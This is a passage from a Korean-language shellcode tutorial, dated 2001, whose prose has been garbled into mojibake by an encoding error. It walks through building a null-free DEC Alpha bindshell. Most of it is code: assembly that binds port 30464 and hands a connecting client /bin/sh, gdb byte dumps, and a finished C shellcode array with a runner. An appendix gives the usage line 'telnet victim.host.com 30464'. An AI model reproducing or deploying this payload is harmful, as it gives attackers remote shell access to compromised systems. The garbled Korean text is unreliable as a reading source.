$sp, -440($sp) mov $sp, $fp call_pal_set_here: addq $31,0x83,$1 stl $1, 432($fp) addq $fp,432,$10 ret_set_here: mov 0x6bfa8001, $1 stl $1,436($fp) routine_start: var_set: mov 0x00770002, $1 stq $1, 400($fp) socket_start: addq $31, 0x2, $16 addq $31, 0x1, $17 addq $31, 0x6, $18 addq $31, 0x61, $0 jsr $26,($10),0xffff stq $0, 416($fp) bind_start: ldq $16, 416($fp) lda $17, 400($fp) addq $31,0x10,$18 addq $31, 0x68, $0 jsr $26,($10),0xffff listen_start: ldq $16, 416($fp) addq $31, 0x1, $17 addq $31, 0x6a, $0 jsr $26,($10),0xffff accept_start: ldq $16, 416($fp) bis $31, $31, $17 bis $31, $31, $18 addq $31, 0x63, $0 jsr $26,($10),0xffff stq $0, 424($fp) dup2_start: ldq $16, 424($fp) bis $31,$31,$17 addq $31, 0x5a, $0 jsr $26,($10),0xffff ldq $16, 424($fp) addq $31, 0x1,$17 addq $31, 0x5a, $0 jsr $26,($10),0xffff var_release: lda $sp, 440($sp) execve_start: subq $sp,424,$sp mov $sp,$fp mov 0x6e69622f, $1 mov 0x68732fff, $2 srl $2,0x08,$2 stl $1, 400($fp) stl $2, 404($fp) stq $fp,408($fp) stq $31,416($fp) lda $16, 400($fp) lda $17, 408($fp) clr $18 start_here: addq $31,0x83,$4 stl $4, 424($fp) addq $fp,424,$5 cmoveq $31,0x3b,$0 jsr $31,($10),0xffff nop nop nop .end main =================================================== ¿ì¸®ÀÇ Äڵ尡 ´Ù½Ã Çѹø improveµÇ¾úÀ¸¸ç, ¿ª½Ã ¹®Á¦ ¾øÀÌ Àß µ¹¾Æ°£´Ù ! 0x120001100
: 0x48 0xfe 0xde 0x23 0x0f 0x04 0xde 0x47 0x120001108 : 0x01 0x74 0xf0 0x43 0xb0 0x01 0x2f 0xb0 0x120001110 : 0xb0 0x01 0x4f 0x21 0xfb 0x6b 0x3f 0x24 0x120001118 : 0x01 0x80 0x21 0x20 0xb4 0x01 0x2f 0xb0 0x120001120 : 0x77 0x00 0x3f 0x24 0x02 0x00 0x21 0x20 0x120001128 : 0x90 0x01 0x2f 0xb4 0x10 0x54 0xe0 0x43 0x120001130 : 0x11 0x34 0xe0 0x43 0x12 0xd4 0xe0 0x43 0x120001138 : 0x00 0x34 0xec 0x43 0xff 0x7f 0x4a 0x6b 0x120001140 : 0xa0 0x01 0x0f 0xb4 0xa0 0x01 0x0f 0xa6 0x120001148 : 0x90 0x01 0x2f 0x22 0x12 0x14 0xe2 0x43 0x120001150 : 0x00 0x14 0xed 0x43 0xff 0x7f 0x4a 0x6b 0x120001158 : 0xa0 0x01 0x0f 0xa6 0x11 0x34 0xe0 0x43 0x120001160 : 0x00 0x54 0xed 0x43 0xff 0x7f 0x4a 0x6b 0x120001168 : 0xa0 0x01 0x0f 0xa6 0x11 0x04 0xff 0x47 0x120001170 : 0x12 0x04 0xff 0x47 0x00 0x74 0xec 0x43 0x120001178 : 0xff 0x7f 0x4a 0x6b 0xa8 0x01 0x0f 0xb4 0x120001180 : 0xa8 0x01 0x0f 0xa6 0x11 0x04 0xff 0x47 0x120001188 : 0x00 0x54 0xeb 0x43 0xff 0x7f 0x4a 0x6b 0x120001190 : 0xa8 0x01 0x0f 0xa6 0x11 0x34 0xe0 0x43 0x120001198 : 0x00 0x54 0xeb 0x43 0xff 0x7f 0x4a 0x6b 0x1200011a0 : 0xb8 0x01 0xde 0x23 0x58 0xfe 0xde 0x23 0x1200011a8 : 0x0f 0x04 0xde 0x47 0x69 0x6e 0x3f 0x24 0x1200011b0 : 0x2f 0x62 0x21 0x20 0x73 0x68 0x5f 0x24 0x1200011b8 : 0xff 0x2f 0x42 0x20 0x82 0x16 0x41 0x48 0x1200011c0 : 0x90 0x01 0x2f 0xb0 0x94 0x01 0x4f 0xb0 0x1200011c8 : 0x98 0x01 0xef 0xb5 0xa0 0x01 0xef 0xb7 0x1200011d0 : 0x90 0x01 0x0f 0x22 0x98 0x01 0x2f 0x22 0x1200011d8 : 0x12 0x04 0xff 0x47 0x04 0x74 0xf0 0x43 0x1200011e0 : 0xa8 0x01 0x8f 0xb0 0xa8 0x01 0xaf 0x20 0x1200011e8 : 0x80 0x74 0xe7 0x47 0xff 0x7f 0xea 0x6b 0x1200011f0 : 0x1f 0x04 0xff 0x47 0x1f 0x04 0xff 0x47 0x1200011f8 : 0x1f 0x04 0xff 0x47 ¸¹Àº NULLµéÀÌ »ç¶óÁ³´Ù. ÀÌÁ¦ ³²Àº ÀÏÀº ¸î°¡Áö Æ®¸¯À» ½á¼­ alpha bindshell code¸¦ ¿Ï¼º½ÃÅ°´Â °ÍÀÌ´Ù. ÁÖ·Î null codeµéÀÌ º¸ÀÌ´Â °÷Àº system call number¸¦ ºÎ¸£´Â °÷ÀÌ´Ù. À̸¦ Å׸é, (gdb) l 26 21 22 socket_start: 23 addq $31, 0x2, $16 24 addq $31, 0x1, $17 25 addq $31, 0x6, $18 26 addq $31, 0x61, $0 27 jsr $26,($10),0xffff 28 stq $0, 416($fp) 29 30 bind_start: (gdb) x main+56 0x120001138 : 0x43ec3400 ÀÌÁ¤µµ... ÀÌ°ÍÀº °£´ÜÈ÷ cmoveq¶ó´Â ÀνºÆ®·°¼ÇÀ¸·Î ġȯÇÏÀÚ. ! ±×¸®°í mov 0x00077002,$1 ¶ó´Â ÀνºÆ®·°¼Çµµ siftÀνºÆ®·°¼ÇÀ» ½á¼­ °¡»ÓÈ÷ ġȯÇØ º¼°ÍÀÌ´Ù. ======================= fourth code here ! - it's the last one =================== .text .globl main .ent main main : lda $sp, -440($sp) mov $sp, $fp call_pal_set_here: addq $31,0x83,$1 stl $1, 432($fp) addq $fp,432,$10 ret_set_here: mov 0x6bfa8001, $1 stl $1,436($fp) routine_start: var_set: mov 0x0077,$1 sll $1, 16, $1 addq $1, 0x0002, $1 stq $1, 400($fp) socket_start: addq $31, 0x2, $16 addq $31, 0x1, $17 addq $31, 0x6, $18 cmoveq $31, 0x61, $0 jsr $26,($10),0xffff stq $0, 416($fp) bind_start: ldq $16, 416($fp) lda $17, 400($fp) addq $31,0x10,$18 cmoveq $31, 0x68, $0 jsr $26,($10),0xffff listen_start: ldq $16, 416($fp) addq $31, 0x1, $17 cmoveq $31, 0x6a, $0 jsr $26,($10),0xffff accept_start: ldq $16, 416($fp) bis $31, $31, $17 bis $31, $31, $18 cmoveq $31, 0x63, $0 jsr $26,($10),0xffff stq $0, 424($fp) dup2_start: ldq $16, 424($fp) bis $31,$31,$17 cmoveq $31, 0x5a, $0 jsr $26,($10),0xffff ldq $16, 424($fp) addq $31, 0x1,$17 cmoveq $31, 0x5a, $0 jsr $26,($10),0xffff var_release: lda $sp, 440($sp) execve_start: subq $sp,424,$sp mov $sp,$fp mov 0x6e69622f, $1 mov 0x68732fff, $2 srl $2,0x08,$2 stl $1, 400($fp) stl $2, 404($fp) stq $fp,408($fp) stq $31,416($fp) lda $16, 400($fp) lda $17, 408($fp) clr $18 start_here: addq $31,0x83,$4 stl $4, 424($fp) addq $fp,424,$5 cmoveq $31,0x3b,$0 jsr $31,($10),0xffff .end main 0x120001100
: 0x48 0xfe 0xde 0x23 0x0f 0x04 0xde 0x47 0x120001108 : 0x01 0x74 0xf0 0x43 0xb0 0x01 0x2f 0xb0 0x120001110 : 0xb0 0x01 0x4f 0x21 0xfb 0x6b 0x3f 0x24 0x120001118 : 0x01 0x80 0x21 0x20 0xb4 0x01 0x2f 0xb0 0x120001120 : 0x01 0xf4 0xee 0x43 0x21 0x17 0x22 0x48 0x120001128 : 0x01 0x54 0x20 0x40 0x90 0x01 0x2f 0xb4 0x120001130 : 0x10 0x54 0xe0 0x43 0x11 0x34 0xe0 0x43 0x120001138 : 0x12 0xd4 0xe0 0x43 0x80 0x34 0xec 0x47 0x120001140 : 0xff 0x7f 0x4a 0x6b 0xa0 0x01 0x0f 0xb4 0x120001148 : 0xa0 0x01 0x0f 0xa6 0x90 0x01 0x2f 0x22 0x120001150 : 0x12 0x14 0xe2 0x43 0x80 0x14 0xed 0x47 0x120001158 : 0xff 0x7f 0x4a 0x6b 0xa0 0x01 0x0f 0xa6 0x120001160 : 0x11 0x34 0xe0 0x43 0x80 0x54 0xed 0x47 0x120001168 : 0xff 0x7f 0x4a 0x6b 0xa0 0x01 0x0f 0xa6 0x120001170 : 0x11 0x04 0xff 0x47 0x12 0x04 0xff 0x47 0x120001178 : 0x80 0x74 0xec 0x47 0xff 0x7f 0x4a 0x6b 0x120001180 : 0xa8 0x01 0x0f 0xb4 0xa8 0x01 0x0f 0xa6 0x120001188 : 0x11 0x04 0xff 0x47 0x80 0x54 0xeb 0x47 0x120001190 : 0xff 0x7f 0x4a 0x6b 0xa8 0x01 0x0f 0xa6 0x120001198 : 0x11 0x34 0xe0 0x43 0x80 0x54 0xeb 0x47 0x1200011a0 : 0xff 0x7f 0x4a 0x6b 0xb8 0x01 0xde 0x23 0x1200011a8 : 0x58 0xfe 0xde 0x23 0x0f 0x04 0xde 0x47 0x1200011b0 : 0x69 0x6e 0x3f 0x24 0x2f 0x62 0x21 0x20 0x1200011b8 : 0x73 0x68 0x5f 0x24 0xff 0x2f 0x42 0x20 0x1200011c0 : 0x82 0x16 0x41 0x48 0x90 0x01 0x2f 0xb0 0x1200011c8 : 0x94 0x01 0x4f 0xb0 0x98 0x01 0xef 0xb5 0x1200011d0 : 0xa0 0x01 0xef 0xb7 0x90 0x01 0x0f 0x22 0x1200011d8 : 0x98 0x01 0x2f 0x22 0x12 0x04 0xff 0x47 0x1200011e0 : 0x04 0x74 0xf0 0x43 0xa8 0x01 0x8f 0xb0 0x1200011e8 : 0xa8 0x01 0xaf 0x20 0x80 0x74 0xe7 0x47 0x1200011f0 : 0xff 0x7f 0xea 0x6b ÀÚ ¸ðµç null code°¡ »ç¶ó Á³´Ù. ¿ì¸®ÀÇ dec-alpha-bindshÀÌ ¸¸µé¾îÁø°ÍÀÌ´Ù ! °áÄÚ ¾î·ÆÁö ¾Ê´Ù. ÀÌ·¯ÇÑ ÇÁ·Î¼¼½º·Î °Ü¿ì ¸î½Ã°£ ³²ÁþÇÑ ½Ã°£ÀÌ °É·ÈÀ» »ÓÀÌ´Ù. [step H.] - test your byte stream ! ÀÌ°ÍÀ» ½ÇÇà ÄÚµå·Î ¿Å°Ü¼­ Å×½ºÆ® Çغ¸ÀÚ. ============================= realy last code ! ============================= char code[] = "\x48\xfe\xde\x23\x0f\x04\xde\x47\x01\x74\xf0\x43\xb0\x01\x2f\xb0" "\xb0\x01\x4f\x21\xfb\x6b\x3f\x24\x01\x80\x21\x20\xb4\x01\x2f\xb0" "\x01\xf4\xee\x43\x21\x17\x22\x48\x01\x54\x20\x40\x90\x01\x2f\xb4" "\x10\x54\xe0\x43\x11\x34\xe0\x43\x12\xd4\xe0\x43\x80\x34\xec\x47" "\xff\x7f\x4a\x6b\xa0\x01\x0f\xb4\xa0\x01\x0f\xa6\x90\x01\x2f\x22" "\x12\x14\xe2\x43\x80\x14\xed\x47\xff\x7f\x4a\x6b\xa0\x01\x0f\xa6" "\x11\x34\xe0\x43\x80\x54\xed\x47\xff\x7f\x4a\x6b\xa0\x01\x0f\xa6" "\x11\x04\xff\x47\x12\x04\xff\x47\x80\x74\xec\x47\xff\x7f\x4a\x6b" "\xa8\x01\x0f\xb4\xa8\x01\x0f\xa6\x11\x04\xff\x47\x80\x54\xeb\x47" "\xff\x7f\x4a\x6b\xa8\x01\x0f\xa6\x11\x34\xe0\x43\x80\x54\xeb\x47" "\xff\x7f\x4a\x6b\xb8\x01\xde\x23\x58\xfe\xde\x23\x0f\x04\xde\x47" "\x69\x6e\x3f\x24\x2f\x62\x21\x20\x73\x68\x5f\x24\xff\x2f\x42\x20" "\x82\x16\x41\x48\x90\x01\x2f\xb0\x94\x01\x4f\xb0\x98\x01\xef\xb5" "\xa0\x01\xef\xb7\x90\x01\x0f\x22\x98\x01\x2f\x22\x12\x04\xff\x47" "\x04\x74\xf0\x43\xa8\x01\x8f\xb0\xa8\x01\xaf\x20\x80\x74\xe7\x47" "\xff\x7f\xea\x6b" ; void (*f)(); main() { f = code; f(); } ./test ; telnet localhost 30464 wow ! Àß µ¹¾Æ °¡´Â °Í °°´Ù. ¹Ù·Î www.hack.co.za¿¡ ¿Ã·Áµµ µÉ °Í °°Áö ¾ÊÀº°¡ ? ;) 2. °á·Ð ---------------------- ¾Ë·¹ÇÁ¿øÀÌ ½©ÄÚµå Â¥´Â ¹ýÀ» ¼Ò°³ÇÑÁöµµ ±²ÀåÈ÷ ¿À·£ ½Ã°£ÀÌ Áö³µ´Ù. ±×·³¿¡µµ ºÒ±¸ÇÏ°í, »ç¶÷µéÀº ¿©·¯°¡Áö ½©Äڵ忡 ´ëÇؼ­ ±×´ÙÁö ¸¹Àº ½Å°æÀ» ¾²´Â °Í °°Áö ¾Ê´Ù. ¾à°£ÀÇ ÇÊ¿äÇÑ ¼Ò½ºµé ¸¸ÀÌ ¼Ò¼ö ÇØÄ¿±×·ì¿¡¼­ - À̸¦ Å׸é ADMÆÀÀÇ K2, Rihno9 Á¤µµ°¡ ±×µéÀ̶ó°í ÇÒ ¼ö ÀÖ°Ú´Ù. À̵éÀº °¢°¢ÀÇ ¿À¿¡½º¿Í ¾ÆÅ°ÅØÃÄ¿¡ ´ëÇØ °£´ÜÇÑ shellcode¸¦ Â¥³Â¾ú´Ù. ÀÌ°ÍÀÌ ±×µé ÆÀÀÇ ³íÀÇ ÇÏ¿¡ ÀÌ·ç¾îÁø °ÍÀÎÁö ¾Æ´ÑÁö´Â ¾ÆÁ÷±îÁö È®ÀÎ ÇÏÁö ¸øÇß´Ù. ´Ù¸¸ ±×°ÍÀÌ ±×µéÀÇ ½Ã½ºÅÛ ÇØÅ·¿¡ ÇÊ¿äÇßÀ» °ÍÀ̶õ »ý°¢»ÓÀÌ´Ù. - ¸¸µé¾î Áö°í ÀÖ´Ù. ¾î¶² ¹öÆÛ¿À¹öÇ÷οì document¿¡¼­´Â ½ÉÁö¾î shellcode¿¡ ´ëÇØ ÇѸ¶µð ¾ð±Þµµ ÇÏÁö¾Ê´Â °Í °°´Ù. ¸¶Ä¡ /* aleph1's shellcode */ ¶ó´Â ÁÖ¼®ÀÌ ¸ðµç °ÍÀ» ¼³¸íÇØ ÁØ´Ù°í ¹Ï´Â µí ¸»ÀÌ´Ù. ±×µµ ±×·²°ÍÀÌ shellcode°¡ »ó´çÈ÷ ±â°è¿Í ¿À¿¡½º¿¡ ÀÇÁ¸ÀûÀÎ ¾î¼Àºí¸®¿¡ °ü°è°¡ ÀÖ°í, µð¹ÙÀ̽º ÇÁ·Î±×·¡¸Ó°¡ ¾Æ´ÑÀÌ»ó À̸¦ Àͼ÷ÇÏ°Ô »ç¿ëÇÑ´Ù´Â °ÍÀÌ ±×¸® ½¬¿î ÀÏÀÌ ¾Æ´Ï±â ¶§¹®ÀÌ´Ù. ÇÏÁö¸¸ shellcode´Â ÀûÀýÈ÷ ¾²À̱â À§ÇØ ¸¹Àº ÇØÄ¿µé¿¡°Ô ÇÊ¿äÇÏ´Ù. Áö±ÝÀÇ Çö½ÇÀ̶õ ±×·¯ÇÑ ÀûÀýÇÑ ÄÚµåµéÀÌ ³Ê¹«µµ ¸ðÀÚ¶ó´Â °ÍÀÌ´Ù. Bacchante ÇÁ·ÎÁ§Æ®´Â ±×·± ÃëÁöÇÏ¿¡¼­ ½ÃÀ۵ǾúÀ¸¸ç, ´õ¿í ¸¹Àº ÇØÄ¿µéÀÌ Âü¿©ÇØ ÁÖ¾úÀ¸¸é ÇÏ´Â ¼Ò¸ÁÀ» °¡Áö°í ÀÖ´Ù. ±×»ç¶÷µéÀÌ ¿ì¸® hard study hackerµéÀÌ¸é ´õ¿í ÁÁ°Ú´Ù. :) % Âü°í·Î . alpha assembly¿¡ °üÇÑ ¹®¼­´Â ³ªÁß¿¡ µû·Î ÷ºÎ Çϵµ·Ï ÇÏ°Ú´Ù. º» ¹®¼­¿¡¼­ Áß¿äÇÑ °ÍÀº ½©Äڵ带 ¸¸µå´Â °úÁ¤³»Áö´Â ÀýÂ÷¿´¿´À¸¹Ç·Î... ±×·¯¸é´ÙÀ½ ¹®¼­¿¡¼­ º¼¶§±îÁö ¿ì¸® hard study hackerµéÀÇ °ÇÅõ¸¦ ºó´Ù ! 3. APPENDIX A --------------------- /* * dec alpha bindshell here ! * usage : telnet victim.host.com 30464 * * truefinder, seo@igrus.inha.ac.kr (2001/06/27) * */ char code[] = "\x48\xfe\xde\x23\x0f\x04\xde\x47\x01\x74\xf0\x43\xb0\x01\x2f\xb0" "\xb0\x01\x4f\x21\xfb\x6b\x3f\x24\x01\x80\x21\x20\xb4\x01\x2f\xb0" "\x01\xf4\xee\x43\x21\x17\x22\x48\x01\x54\x20\x40\x90\x01\x2f\xb4" "\x10\x54\xe0\x43\x11\x34\xe0\x43\x12\xd4\xe0\x43\x80\x34\xec\x47" "\xff\x7f\x4a\x6b\xa0\x01\x0f\xb4\xa0\x01\x0f\xa6\x90\x01\x2f\x22" "\x12\x14\xe2\x43\x80\x14\xed\x47\xff\x7f\x4a\x6b\xa0\x01\x0f\xa6" "\x11\x34\xe0\x43\x80\x54\xed\x47\xff\x7f\x4a\x6b\xa0\x01\x0f\xa6" "\x11\x04\xff\x47\x12\x04\xff\x47\x80\x74\xec\x47\xff\x7f\x4a\x6b" "\xa8\x01\x0f\xb4\xa8\x01\x0f\xa6\x11\x04\xff\x47\x80\x54\xeb\x47" "\xff\x7f\x4a\x6b\xa8\x01\x0f\xa6\x11\x34\xe0\x43\x80\x54\xeb\x47" "\xff\x7f\x4a\x6b\xb8\x01\xde\x23\x58\xfe\xde\x23\x0f\x04\xde\x47" "\x69\x6e\x3f\x24\x2f\x62\x21\x20\x73\x68\x5f\x24\xff\x2f\x42\x20" "\x82\x16\x41\x48\x90\x01\x2f\xb0\x94\x01\x4f\xb0\x98\x01\xef\xb5" "\xa0\x01\xef\xb7\x90\x01\x0f\x22\x98\x01\x2f\x22\x12\x04\xff\x47" "\x04\x74\xf0\x43\xa8\x01\x8f\xb0\xa8\x01\xaf\x20\x80\x74\xe7\x47" "\xff\x7f\xea\x6b" ; void (*f)(); main() { f = code; f(); } /* assembly code below ! .text .globl main .ent main main : lda $sp, -440($sp) mov $sp, $fp call_pal_set_here: addq $31,0x83,$1 stl $1, 432($fp) addq $fp,432,$10 ret_set_here: mov 0x6bfa8001, $1 stl $1,436($fp) routine_start: var_set: mov 0x0077,$1 sll $1, 16, $1 addq $1, 0x0002, $1 stq $1, 400($fp) socket_start: addq $31, 0x2, $16 addq $31, 0x1, $17 addq $31, 0x6, $18 cmoveq $31, 0x61, $0 jsr $26,($10),0xffff stq $0, 416($fp) bind_start: ldq $16, 416($fp) lda $17, 400($fp) addq $31,0x10,$18 cmoveq $31, 0x68, $0 jsr $26,($10),0xffff listen_start: ldq $16, 416($fp) addq $31, 0x1, $17 cmoveq $31, 0x6a, $0 jsr $26,($10),0xffff accept_start: ldq $16, 416($fp) bis $31, $31, $17 bis $31, $31, $18 cmoveq $31, 0x63, $0 jsr $26,($10),0xffff stq $0, 424($fp) dup2_start: ldq $16, 424($fp) bis $31,$31,$17 cmoveq $31, 0x5a, $0 jsr $26,($10),0xffff ldq $16, 424($fp) addq $31, 0x1,$17 cmoveq $31, 0x5a, $0 jsr $26,($10),0xffff var_release: lda $sp, 440($sp) execve_start: subq $sp,424,$sp mov $sp,$fp mov 0x6e69622f, $1 mov 0x68732fff, $2 srl $2,0x08,$2 stl $1, 400($fp) stl $2, 404($fp) stq $fp,408($fp) stq $31,416($fp) lda $16, 400($fp) lda $17, 408($fp) clr $18 start_here: addq $31,0x83,$4 stl $4, 424($fp) addq $fp,424,$5 cmoveq $31,0x3b,$0 jsr $31,($10),0xffff .end main */